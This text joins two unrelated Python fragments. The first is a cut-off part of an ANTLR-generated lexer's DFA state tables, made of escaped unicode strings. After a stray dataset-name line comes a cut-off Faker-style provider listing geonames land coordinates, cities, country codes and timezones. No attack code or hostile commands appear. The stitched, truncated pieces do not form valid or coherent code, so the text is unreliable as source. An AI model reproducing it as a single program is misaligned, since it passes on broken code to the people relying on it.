u"\1\uffff\1\156\1\144\3\uffff\1\151\1\ufaff\2\uffff\1\151\1\141" u"\1\uffff\1\ufaff\1\uffff\3\ufaff\1\145\1\154\1\uffff\1\145\1\ufaff" u"\1\156\1\141\1\164\1\145\1\ufaff\1\164\1\145\1\ufaff\1\145\1\141" u"\1\143\1\ufaff\1\146\2\uffff\1\ufaff\1\157\2\uffff\1\165\1\163" u"\1\154\1\ufaff\1\uffff\1\145\1\156\3\uffff\1\171\1\uffff\1\ufaff" u"\1\164\1\ufaff\1\uffff\1\ufaff\1\143\2\ufaff\1\uffff\1\145\1\ufaff" u"\1\uffff\1\156\1\143\1\145\1\uffff\1\160\1\uffff\1\156\1\145\1" u"\ufaff\1\145\1\uffff\1\156\2\ufaff\1\uffff\1\ufaff\2\uffff\1\164" u"\2\uffff\1\144\1\uffff\1\164\1\145\1\157\1\ufaff\1\151\1\ufaff" u"\1\uffff\1\ufaff\1\164\3\uffff\2\ufaff\1\163\1\ufaff\1\146\1\uffff" u"\1\172\2\uffff\1\ufaff\2\uffff\1\ufaff\1\uffff\1\ufaff\1\145\3" u"\uffff\1\144\1\ufaff\1\uffff" ) DFA29_accept = DFA.unpack( u"\2\uffff\1\2\6\uffff\1\12\1\13\1\14\1\uffff\1\16\1\17\1\uffff\1" u"\22\1\23\6\uffff\1\36\1\40\1\41\1\uffff\1\47\1\51\11\uffff\1\116" u"\3\uffff\1\136\1\137\1\142\1\143\13\uffff\1\42\1\5\1\135\1\73\1" u"\6\7\uffff\1\75\1\102\1\15\3\uffff\1\105\1\25\17\uffff\1\71\1\114" u"\1\110\1\72\1\115\1\111\1\74\1\144\1\145\1\112\1\76\1\101\1\103" u"\1\77\1\104\1\100\1\113\1\106\1\117\2\uffff\1\132\1\uffff\1\133" u"\10\uffff\1\52\36\uffff\1\56\10\uffff\1\134\7\uffff\1\32\24\uffff" u"\1\57\7\uffff\1\54\4\uffff\1\120\24\uffff\1\27\1\uffff\1\70\2\uffff" u"\1\53\1\140\1\21\2\uffff\1\43\1\44\2\uffff\1\30\1\uffff\1\33\5" u"\uffff\1\46\17\uffff\1\31\1\37\2\uffff\1\7\1\60\4\uffff\1\65\2" u"\uffff\1\66\1\34\1\45\1\uffff\1\125\3\uffff\1\55\4\uffff\1\121" u"\2\uffff\1\3\3\uffff\1\4\1\uffff\1\62\4\uffff\1\24\3\uffff\1\35" u"\1\uffff\1\126\1\64\1\uffff\1\141\1\1\1\uffff\1\123\6\uffff\1\10" u"\2\uffff\1\26\1\61\1\50\5\uffff\1\131\1\uffff\1\67\1\130\1\uffff" u"\1\124\1\122\1\uffff\1\20\2\uffff\1\127\1\11\1\107\2\uffff\1\63" ) DFA29_special = DFA.unpack( u"\u0161\uffff" ) DFA29_transition = [ DFA.unpack(u"\2\56\1\uffff\2\56\22\uffff\1\56\1\46\1\54\1\uffff\1" u"\55\1\45\1\14\1\53\1\31\1\32\1\6\1\40\1\12\1\41\1\5\1\42\1\51\11" u"\52\1\35\1\2\1\11\1\23\1\13\1\30\1\34\32\55\1\20\1\uffff\1\21\1" u"\44\1\55\1\uffff\1\50\1\24\1\7\1\27\1\10\1\26\2\55\1\3\2\55\1\25" u"\1\55\1\33\1\55\1\1\1\55\1\37\1\4\1\22\1\55\1\17\1\36\3\55\1\15" u"\1\43\1\16\1\47\101\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55" u"\u1040\uffff\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55" u"\u10d2\uffff\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\57\20\uffff\1\61\2\uffff\1\60"), DFA.unpack(u""), DFA.unpack(u"\1\64\6\uffff\1\62\1\63"), DFA.unpack(u"\1\66\13\uffff\1\65\1\67\1\uffff\1\70\1\uffff\1\71"), DFA.unpack(u"\1\72\1\uffff\12\74"), DFA.unpack(u"\1\75"), DFA.unpack(u"\1\101\6\uffff\1\100\3\uffff\1\77\2\uffff\1\102"), DFA.unpack(u"\1\104\1\uffff\1\105\11\uffff\1\103"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\107\26\uffff\1\106"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\111"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\112\11\uffff\1\113"), DFA.unpack(u"\1\114"), DFA.unpack(u"\1\116\2\uffff\1\120\6\uffff\1\117"), DFA.unpack(u"\1\121"), DFA.unpack(u"\1\123\7\uffff\1\125\2\uffff\1\122\2\uffff\1\124"), DFA.unpack(u"\1\127\11\uffff\1\126"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\132\3\uffff\1\131\17\uffff\1\130"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\133"), DFA.unpack(u"\1\134"), DFA.unpack(u"\1\136\21\uffff\1\135"), DFA.unpack(u"\1\141\17\uffff\1\140"), DFA.unpack(u"\1\144\4\uffff\1\145\15\uffff\1\143"), DFA.unpack(u"\1\147\76\uffff\1\150"), DFA.unpack(u"\1\152"), DFA.unpack(u"\1\154"), DFA.unpack(u"\1\156"), DFA.unpack(u""), DFA.unpack(u"\1\160\20\uffff\1\161"), DFA.unpack(u"\1\74\1\uffff\10\163\2\74\12\uffff\3\74\21\uffff\1" u"\162\13\uffff\3\74\21\uffff\1\162"), DFA.unpack(u"\1\74\1\uffff\12\165\12\uffff\3\74\35\uffff\3\74"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\166"), DFA.unpack(u"\1\167"), DFA.unpack(u"\1\171\5\uffff\1\170"), DFA.unpack(u"\1\172"), DFA.unpack(u"\1\174\1\173"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55\u1040\uffff" u"\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55\u10d2\uffff" u"\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\176\20\uffff\1\177"), DFA.unpack(u"\1\u0080"), DFA.unpack(u"\1\u0081"), DFA.unpack(u"\1\u0082"), DFA.unpack(u"\1\u0083"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\u0084"), DFA.unpack(u"\1\u0085"), DFA.unpack(u"\1\u0087\1\u0086"), DFA.unpack(u"\1\u0088"), DFA.unpack(u"\1\u0089"), DFA.unpack(u"\1\u008a"), DFA.unpack(u"\1\u008b"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\u008c\2\uffff\1\u008d"), DFA.unpack(u"\1\u008f\10\uffff\1\u008e"), DFA.unpack(u"\1\u0092\23\uffff\1\u0090\3\uffff\1\u0091"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\u0093"), DFA.unpack(u"\1\u0094"), DFA.unpack(u"\1\u0095"), DFA.unpack(u"\1\u0096"), DFA.unpack(u"\1\u0097"), DFA.unpack(u"\1\u0098"), DFA.unpack(u"\1\u0099"), DFA.unpack(u"\1\u009a"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\24\55\1\u009b\5\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08" u"\55\u1040\uffff\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e" u"\55\u10d2\uffff\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u009d"), DFA.unpack(u"\1\u009e"), DFA.unpack(u"\1\u009f"), DFA.unpack(u"\1\u00a0"), DFA.unpack(u"\1\u00a1"), DFA.unpack(u"\1\u00a2"), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u""), DFA.unpack(u"\1\u00a3"), DFA.unpack(u"\1\u00a4"), DFA.unpack(u""), DFA.unpack(u"\1\74\1\uffff\10\163\2\74\12\uffff\3\74\35\uffff\3" u"\74"), DFA.unpack(u""), DFA.unpack(u"\1\74\1\uffff\12\165\12\uffff\3\74\35\uffff\3\74"), DFA.unpack(u"\1\u00a6"), DFA.unpack(u"\1\u00a7"), DFA.unpack(u"\1\u00a8"), DFA.unpack(u"\1\u00a9"), DFA.unpack(u"\1\u00ab\2\uffff\1\u00aa"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\4\55\1\u00ac\25\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08" u"\55\u1040\uffff\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e" u"\55\u10d2\uffff\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u00ae"), DFA.unpack(u""), DFA.unpack(u"\1\u00af"), DFA.unpack(u"\1\u00b0"), DFA.unpack(u"\1\u00b1"), DFA.unpack(u"\1\u00b2"), DFA.unpack(u"\1\u00b3"), DFA.unpack(u"\1\u00b4"), DFA.unpack(u"\1\u00b5"), DFA.unpack(u"\1\u00b6"), DFA.unpack(u"\1\u00b7"), DFA.unpack(u"\1\u00b8"), DFA.unpack(u"\1\u00b9"), DFA.unpack(u"\1\u00ba"), DFA.unpack(u"\1\u00bb"), DFA.unpack(u"\1\u00bc"), DFA.unpack(u"\1\u00bd"), DFA.unpack(u"\1\u00be"), DFA.unpack(u"\1\u00bf"), DFA.unpack(u"\1\u00c0"), DFA.unpack(u"\1\u00c1"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55\u1040\uffff" u"\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55\u10d2\uffff" u"\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u00c3"), DFA.unpack(u"\1\u00c4"), DFA.unpack(u"\1\u00c5"), DFA.unpack(u"\1\u00c6"), DFA.unpack(u"\1\u00c7"), DFA.unpack(u"\1\u00c8"), DFA.unpack(u"\1\u00c9"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55\u1040\uffff" u"\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55\u10d2\uffff" u"\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u00cb"), DFA.unpack(u"\1\u00cc"), DFA.unpack(u""), DFA.unpack(u"\1\u00cd"), DFA.unpack(u"\1\u00ce"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55\u1040\uffff" u"\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55\u10d2\uffff" u"\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u00d0"), DFA.unpack(u"\1\u00d1"), DFA.unpack(u"\1\u00d2"), DFA.unpack(u"\1\u00d3"), DFA.unpack(u"\1\u00d4"), DFA.unpack(u""), DFA.unpack(u"\1\u00d5"), DFA.unpack(u"\1\u00d6"), DFA.unpack(u"\1\u00d7"), DFA.unpack(u"\1\u00d8"), DFA.unpack(u"\1\u00d9"), DFA.unpack(u"\1\u00da"), DFA.unpack(u"\1\u00db"), DFA.unpack(u""), DFA.unpack(u"\1\u00dc"), DFA.unpack(u"\1\u00dd"), DFA.unpack(u"\1\u00de"), DFA.unpack(u"\1\u00df"), DFA.unpack(u"\1\u00e0"), DFA.unpack(u"\1\u00e1"), DFA.unpack(u"\1\u00e2"), DFA.unpack(u"\1\u00e3"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55\u1040\uffff" u"\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55\u10d2\uffff" u"\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u00e5"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\55\1\uffff\37\55\1\uffff\u1f08\55\u1040\uffff" u"\u0150\55\u0170\uffff\u0080\55\u0080\uffff\u092e\55\u10d2\uffff" u"\u5200\55\u5900\uffff\u0200\55"), DFA.unpack(u"\1\u00e7"), DFA.unpack(u"\1\u00e8"), DFA.unpack(u"\1\55\13\uffff\12\55\7\uffff\32\55\4\uffff\1\55\1\uffff" u"\32\55\105\uffff\27\
codeparrot/github-code-clean
# coding=utf-8 from decimal import Decimal from .. import BaseProvider localized = True class Provider(BaseProvider): """ land_coords data extracted from geonames.org, under the Creative Commons Attribution 3.0 License. Coordinates are in decimal format for mapping purposes. Country code is in Alpha 2 format (https://www.nationsonline.org/oneworld/country_code_list.htm). Timezones are canonical (https://en.wikipedia.org/wiki/List_of_tz_database_time_zones). """ land_coords = ( ("42.50729", "1.53414", "les Escaldes", "AD", "Europe/Andorra"), ("36.21544", "65.93249", "Sar-e Pul", "AF", "Asia/Kabul"), ("40.49748", "44.7662", "Hrazdan", "AM", "Asia/Yerevan"), ("-11.78333", "19.91667", "Luena", "AO", "Africa/Luanda"), ("-37.32167", "-59.13316", "Tandil", "AR", "America/Argentina/Buenos_Aires"), ("-34.74785", "-58.70072", "Pontevedra", "AR", "America/Argentina/Buenos_Aires"), ("-34.64966", "-58.38341", "Barracas", "AR", "America/Argentina/Buenos_Aires"), ("-54.8", "-68.3", "Ushuaia", "AR", "America/Argentina/Ushuaia"), ("-31.25033", "-61.4867", "Rafaela", "AR", "America/Argentina/Cordoba"), ("-31.4488", "-60.93173", "Esperanza", "AR", "America/Argentina/Cordoba"), ("-34.64167", "-60.47389", "Chacabuco", "AR", "America/Argentina/Buenos_Aires"), ("-27.4338", "-65.61427", "Aguilares", "AR", "America/Argentina/Tucuman"), ("47.05", "15.46667", "Sankt Peter", "AT", "Europe/Vienna"), ("48.25", "16.4", "Floridsdorf", "AT", "Europe/Vienna"), ("-31.95224", "115.8614", "Perth", "AU", "Australia/Perth"), ("-37.9", "145.18333", "Wheelers Hill", "AU", "Australia/Melbourne"), ("-33.88096", "151.07986", "Strathfield", "AU", "Australia/Sydney"), ("-34.88422", "150.60036", "Nowra", "AU", "Australia/Sydney"), ("-25.54073", "152.70493", "Maryborough", "AU", "Australia/Brisbane"), ("-34.28853", "146.05093", "Griffith", "AU", "Australia/Sydney"), ("-33.79176", "151.08057", "Eastwood", "AU", "Australia/Sydney"), ("-37.88333", "145.06667", "Carnegie", "AU", "Australia/Melbourne"), ("-33.75881", "150.99292", "Baulkham Hills", "AU", "Australia/Sydney"), ("-27.50578", "153.10236", "Carindale", "AU", "Australia/Brisbane"), ("-32.05251", "115.88782", "Willetton", "AU", "Australia/Perth"), ("-38.16604", "145.13643", "Frankston South", "AU", "Australia/Melbourne"), ("38.45598", "48.87498", "Astara", "AZ", "Asia/Baku"), ("41.09246", "45.36561", "Qazax", "AZ", "Asia/Baku"), ("44.75874", "19.21437", "Bijeljina", "BA", "Europe/Sarajevo"), ("23.9028", "89.11943", "Kushtia", "BD", "Asia/Dhaka"), ("22.83957", "91.84128", "Manikchari", "BD", "Asia/Dhaka"), ("50.8", "3.16667", "Wevelgem", "BE", "Europe/Brussels"), ("51.12794", "4.21372", "Temse", "BE", "Europe/Brussels"), ("50.71229", "4.52529", "Rixensart", "BE", "Europe/Brussels"), ("50.74497", "3.20639", "Mouscron", "BE", "Europe/Brussels"), ("51.24197", "4.82313", "Lille", "BE", "Europe/Brussels"), ("51.03427", "5.37429", "Houthalen", "BE", "Europe/Brussels"), ("50.56149", "4.69889", "Gembloux", "BE", "Europe/Brussels"), ("50.88506", "4.07601", "Denderleeuw", "BE", "Europe/Brussels"), ("51.21187", "4.25633", "Beveren", "BE", "Europe/Brussels"), ("41.57439", "24.71204", "Smolyan", "BG", "Europe/Sofia"), ("43.4125", "23.225", "Montana", "BG", "Europe/Sofia"), ("42.7", "27.25", "Aytos", "BG", "Europe/Sofia"), ("8.88649", "2.59753", "Tchaourou", "BJ", "Africa/Porto-Novo"), ("-21.44345", "-65.71875", "Tupiza", "BO", "America/La_Paz"), ("-0.71667", "-48.52333", "Soure", "BR", "America/Belem"), ("-8.05389", "-34.88111", "Recife", "BR", "America/Recife"), ("-4.42472", "-41.45861", "Pedro II", "BR", "America/Fortaleza"), ("-3.14306", "-58.44417", "Itacoatiara", "BR", "America/Manaus"), ("-4.16694", "-40.7475", "Guaraciaba do Norte", "BR", "America/Fortaleza"), ("-8.66667", "-35.71667", "Catende", "BR", "America/Recife"), ("-8.28333", "-35.03333", "Cabo", "BR", "America/Recife"), ("-4.24444", "-42.29444", "Barras", "BR", "America/Fortaleza"), ("-3.20333", "-52.20639", "Altamira", "BR", "America/Santarem"), ("-20.87306", "-48.29694", "Viradouro", "BR", "America/Sao_Paulo"), ("-22.97056", "-46.99583", "Valinhos", "BR", "America/Sao_Paulo"), ("-10.95817", "-38.79084", "Tucano", "BR", "America/Bahia"), ("-28.81833", "-52.51028", "Soledade", "BR", "America/Sao_Paulo"), ("-23.44361", "-51.87389", "Sarandi", "BR", "America/Sao_Paulo"), ("-22.45667", "-47.53028", "Santa Gertrudes", "BR", "America/Sao_Paulo"), ("-11.48472", "-37.93278", "Rio Real", "BR", "America/Bahia"), ("-19.32556", "-41.25528", "Resplendor", "BR", "America/Sao_Paulo"), ("-26.22861", "-52.67056", "Pato Branco", "BR", "America/Sao_Paulo"), ("-25.42944", "-50.00639", "Palmeira", "BR", "America/Sao_Paulo"), ("-12.91667", "-39.25", "Muritiba", "BR", "America/Bahia"), ("-21.41222", "-42.19667", "Miracema", "BR", "America/Sao_Paulo"), ("-28.44917", "-52.2", "Marau", "BR", "America/Sao_Paulo"), ("-22.92306", "-53.13722", "Loanda", "BR", "America/Sao_Paulo"), ("-10.91722", "-37.65", "Lagarto", "BR", "America/Maceio"), ("-19.72806", "-50.19556", "Iturama", "BR", "America/Sao_Paulo"), ("-21.205", "-41.88778", "Itaperuna", "BR", "America/Sao_Paulo"), ("-20.25333", "-43.80139", "Itabirito", "BR", "America/Sao_Paulo"), ("-28.24", "-48.67028", "Imbituba", "BR", "America/Sao_Paulo"), ("-22.53722", "-42.98194", "Guapimirim", "BR", "America/Sao_Paulo"), ("-19.7625", "-44.31389", "Esmeraldas", "BR", "America/Sao_Paulo"), ("-25.42778", "-49.27306", "Curitiba", "BR", "America/Sao_Paulo"), ("-14.66463", "-52.35558", "Nova Xavantina", "BR", "America/Cuiaba"), ("-29.2975", "-51.50361", "Carlos Barbosa", "BR", "America/Sao_Paulo"), ("-15.675", "-38.94722", "Canavieiras", "BR", "America/Bahia"), ("-17.74431", "-48.62789", "Caldas Novas", "BR", "America/Sao_Paulo"), ("-23.7975", "-48.59278", "Buri", "BR", "America/Sao_Paulo"), ("-10.90889", "-37.03861", "Barra dos Coqueiros", "BR", "America/Maceio"), ("-22.57306", "-47.1725", "Artur Nogueira", "BR", "America/Sao_Paulo"), ("-10.91111", "-37.07167", "Aracaju", "BR", "America/Maceio"), ("-21.42917", "-45.94722", "Alfenas", "BR", "America/Sao_Paulo"), ("-8.76194", "-63.90389", "Porto Velho", "BR", "America/Porto_Velho"), ("-21.44236", "27.46153", "Tonota", "BW", "Africa/Gaborone"), ("55.1904", "30.2049", "Vitebsk", "BY", "Europe/Minsk"), ("53.5942", "25.8191", "Novogrudok", "BY", "Europe/Minsk"), ("52.4089", "31.3237", "Dobrush", "BY", "Europe/Minsk"), ("45.43341", "-73.86586", "Beaconsfield", "CA", "America/Toronto"), ("46.23899", "-63.13414", "Charlottetown", "CA", "America/Halifax"), ("45.4473", "-73.75335", "Dorval", "CA", "America/Toronto"), ("49.88307", "-119.48568", "Kelowna", "CA", "America/Vancouver"), ("43.86682", "-79.2663", "Markham", "CA", "America/Toronto"), ("42.8334", "-80.38297", "Norfolk County", "CA", "America/Toronto"), ("45.44868", "-73.81669", "Pointe-Claire", "CA", "America/Toronto"), ("45.40008", "-73.58248", "Sainte-Catherine", "CA", "America/Toronto"), ("53.51684", "-113.3187", "Sherwood Park", "CA", "America/Edmonton"), ("50.26729", "-119.27337", "Vernon", "CA", "America/Vancouver"), ("46.1351", "-60.1831", "Sydney", "CA", "America/Glace_Bay"), ("0.76755", "24.43973", "Yangambi", "CD", "Africa/Lubumbashi"), ("-8.73508", "24.99798", "Kamina", "CD", "Africa/Lubumbashi"), ("0.49113", "29.47306", "Beni", "CD", "Africa/Lubumbashi"), ("-4.5833", "15.16554", "Kasangulu", "CD", "Africa/Kinshasa"), ("4.94273", "15.87735", "Carnot", "CF", "Africa/Bangui"), ("-4.26613", "15.28318", "Brazzaville", "CG", "Africa/Brazzaville"), ("46.18396", "6.10237", "Onex", "CH", "Europe/Zurich"), ("47.30997", "8.52462", "Adliswil", "CH", "Europe/Zurich"), ("5.84752", "-5.682", "Lakota", "CI", "Africa/Abidjan"), ("5.27247", "-3.59625", "Bonoua", "CI", "Africa/Abidjan"), ("-33.59217", "-70.6996", "San Bernardo", "CL", "America/Santiago"), ("-30.60106", "-71.19901", "Ovalle", "CL", "America/Santiago"), ("-32.45242", "-71.23106", "La Ligua", "CL", "America/Santiago"), ("-36.9256", "-73.02841", "Chiguayante", "CL", "America/Santiago"), ("4.96667", "10.7", "Tonga", "CM", "Africa/Douala"), ("3.51667", "11.5", "Mbalmayo", "CM", "Africa/Douala"), ("4.2475", "9.00472", "Idenao", "CM", "Africa/Douala"), ("46.51872", "86.00214", "Hoxtolgay", "CN", "Asia/Urumqi"), ("36.81667", "117.81667", "Zhoucun", "CN", "Asia/Shanghai"), ("34.86472", "117.55417", "Zaozhuang", "CN", "Asia/Shanghai"), ("23.73333", "114.68333", "Heyuan", "CN", "Asia/Shanghai"), ("34.65918", "109.22921", "Yanliang", "CN", "Asia/Shanghai"), ("38.40917", "112.73333", "Xinzhou", "CN", "Asia/Shanghai"), ("33.78333", "114.51667", "Wacheng", "CN", "Asia/Shanghai"), ("27.85", "112.9", "Xiangtan", "CN", "Asia/Shanghai"), ("37.19723", "122.05228", "Tianfu", "CN", "Asia/Shanghai"), ("34.85", "117.33333", "Taozhuang", "CN", "Asia/Shanghai"), ("35.64889", "117.27583", "Sishui", "CN", "Asia/Shanghai"), ("27.34089", "117.4831", "Shaowu", "CN", "Asia/Shanghai"), ("37.30553", "120.82747", "Zhuangyuan", "CN", "Asia/Shanghai"), ("35.50056", "117.63083", "Pingyi", "CN", "Asia/Shanghai"), ("27.92333", "118.53333", "Pucheng", "CN", "Asia/Shanghai"), ("24.28859", "116.11768", "Meizhou", "CN", "Asia/Shanghai"), ("37.65181", "120.33063", "Longgang", "CN", "Asia/Shanghai"), ("23.29549", "113.82465", "Licheng", "CN", "Asia/Shanghai"), ("36.19278", "117.65694", "Laiwu", "CN", "Asia/Shanghai"), ("30.35028", "112.19028", "Jingzhou", "CN", "Asia/Shanghai"), ("32.50611", "120.14278", "Jiangyan", "CN", "Asia/Shanghai"), ("30.24706", "115.04814", "Huangshi", "CN", "Asia/Shanghai"), ("37.73222", "115.70111", "Hengshui", "CN", "Asia/Shanghai"), ("28.88162", "120.03308", "Guli", "CN", "Asia/Shanghai"), ("23.02677", "113.13148", "Foshan", "CN", "Asia/Shanghai"), ("35.85", "117.7", "Dongdu", "CN", "Asia/Shanghai"), ("32.54278", "111.50861", "Danjiangkou", "CN", "Asia/Shanghai"), ("35.20889", "111.73861", "Changzhi", "CN", "Asia/Shanghai"), ("34.56861", "105.89333", "Beidao", "CN", "Asia/Shanghai"), ("29.98869", "122.20488", "Zhoushan", "CN", "Asia/Shanghai"), ("40.66482", "122.22833", "Yingkou", "CN", "Asia/Shanghai"), ("46.08333", "122.08333", "Ulanhot", "CN", "Asia/Shanghai"), ("45.35", "126.28333", "Shuangcheng", "CN", "Asia/Shanghai"), ("41.09822", "120.74792", "Nanpiao", "CN", "Asia/Shanghai"), ("41.27194", "123.17306", "Liaoyang", "CN", "Asia/Shanghai"), ("41.94175", "123.50266", "Hushitai", "CN", "Asia/Shanghai"), ("40.85158", "122.74754", "Haicheng", "CN", "Asia/Shanghai"), ("42.64031", "125.51176", "Dongfeng", "CN", "Asia/Shanghai"), ("45.75279", "130.57211", "Boli", "CN", "Asia/Shanghai"), ("31.64615", "120.74221", "Changshu City", "CN", "Asia/Shanghai"), ("7.83389", "-72.47417", "Villa del Rosario", "CO", "America/Bogota"), ("6.46838", "-73.26022", "Socorro", "CO", "America/Bogota"), ("8.79577", "-75.69947", "San Carlos", "CO", "America/Bogota"), ("10.98778", "-74.95472", "Puerto Colombia", "CO", "America/Bogota"), ("4.73245", "-74.26419", "Madrid", "CO", "America/Bogota"), ("5.20856", "-74.73584", "Honda", "CO", "America/Bogota"), ("10.15031", "-73.9614", "El Copey", "CO", "America/Bogota"), ("3.8801", "-77.03116", "Buenaventura", "CO", "America/Bogota"), ("5.6561", "-75.87877", "Andes", "CO", "America/Bogota"), ("9.92787", "-84.13722", "San Rafael", "CR", "America/Costa_Rica"), ("10.63504", "-85.43772", "Liberia", "CR", "America/Costa_Rica"), ("23.15678", "-81.24441", "Varadero", "CU", "America/Havana"), ("20.14298", "-77.43532", "Media Luna", "CU", "America/Havana"), ("23.04419", "-82.00919", "Jaruco", "CU", "America/Havana"), ("22.98212", "-80.58556", "Corralillo", "CU", "America/Havana"), ("23.0072", "-82.4017", "Boyeros", "CU", "America/Havana"), ("50.50301", "13.63617", "Most", "CZ", "Europe/Prague"), ("50.23271", "12.87117", "Karlovy Vary", "CZ", "Europe/Prague"), ("51.04962", "12.1369", "Zeitz", "DE", "Europe/Berlin"), ("52.59319", "13.32127", "Wittenau", "DE", "Europe/Berlin"), ("50.82709", "6.9747", "Wesseling", "DE", "Europe/Berlin"), ("50.9803", "11.32903", "Weimar", "DE", "Europe/Berlin"), ("52.86147", "9.5926", "Walsrode", "DE", "Europe/Berlin"), ("51.88333", "8.51667", "Verl", "DE", "Europe/Berlin"), ("48.07667", "8.64409", "Trossingen", "DE", "Europe/Berlin"), ("48.78232", "9.17702", "Stuttgart", "DE", "Europe/Berlin"), ("53.59337", "9.47629", "Stade", "DE", "Europe/Berlin"), ("50.80019", "7.20769", "Siegburg", "DE", "Europe/Berlin"), ("51.21667", "6.26667", "Schwalmtal", "DE", "Europe/Berlin"), ("54.52156", "9.5586", "Schleswig", "DE", "Europe/Berlin"), ("50.72043", "11.34046", "Rudolstadt", "DE", "Europe/Berlin"), ("48.49144", "9.20427", "Reutlingen", "DE", "Europe/Berlin"), ("51.20219", "7.36027", "Radevormwald", "DE", "Europe/Berlin"), ("48.46458", "9.22796", "Pfullingen", "DE", "Europe/Berlin"), ("51.30001", "13.10984", "Oschatz", "DE", "Europe/Berlin"), ("51.47805", "6.8625", "Oberhausen", "DE", "Europe/Berlin"), ("50.23805", "8.86704", "Nidderau", "DE", "Europe/Berlin"), ("48.73218", "11.18709", "Neuburg an der Donau", "DE", "Europe/Berlin"), ("47.98372", "10.18527", "Memmingen", "DE", "Europe/Berlin"), ("50.80904", "8.77069", "Marburg an der Lahn", "DE", "Europe/Berlin"), ("49.5099", "6.74549", "Losheim", "DE", "Europe/Berlin"), ("48.52961", "12.16179", "Landshut", "DE", "Europe/Berlin"), ("51.19139", "6.51352", "Korschenbroich", "DE", "Europe/Berlin"), ("52.2", "8.63333", "Kirchlengern", "DE", "Europe/Berlin"), ("50.23019", "8.77155", "Karben", "DE", "Europe/Berlin"), ("50.09019", "8.4493", "Hofheim am Taunus", "DE", "Europe/Berlin"), ("52.61131", "13.31783", "Hermsdorf", "DE", "Europe/Berlin"), ("48.35149", "8.96317", "Hechingen", "DE", "Europe/Berlin"), ("53.63333", "9.85", "Halstenbek", "DE", "Europe/Berlin"), ("52.21099", "7.02238", "Gronau", "DE", "Europe/Berlin"), ("52.47774", "10.5511", "Gifhorn", "DE", "Europe/Berlin"), ("48.06919", "11.37703", "Gauting", "DE", "Europe/Berlin"), ("48.35693", "10.98461", "Friedberg", "DE", "Europe/Berlin"), ("51.168", "7.973", "Finnentrop", "DE", "Europe/Berlin"), ("49.13645", "8.91229", "Eppingen", "DE", "Europe/Berlin"), ("48.28259", "9.72749", "Ehingen", "DE", "Europe/Berlin"), ("52.4581", "13.28702", "Dahlem", "DE", "Europe/Berlin"), ("51.08468", "7.11393", "Burscheid", "DE", "Europe/Berlin"), ("49.03685", "8.70745", "Bretten", "DE", "Europe/Berlin"), ("49.68369", "8.61839", "Bensheim", "DE", "Europe/Berlin"), ("53.94313", "10.30215", "Bad Segeberg", "DE", "Europe/Berlin"), ("50.64336", "7.2278", "Bad Honnef", "DE", "Europe/Berlin"), ("49.97704", "9.15214", "Aschaffenburg", "DE", "Europe/Berlin"), ("48.21644", "9.02596", "Albstadt", "DE", "Europe/Berlin"), ("52.53048", "13.29371", "Charlottenburg-Nord", "DE", "Europe/Berlin"), ("53.6052", "10.03988", "Barmbek-Nord", "DE", "Europe/Berlin"), ("11.15583", "42.7125", "'Ali Sabieh", "DJ", "Africa/Djibouti"), ("55.67938", "12.53463", "Frederiksberg", "DK", "Europe/Copenhagen"), ("18.20854", "-71.10077", "Santa Cruz 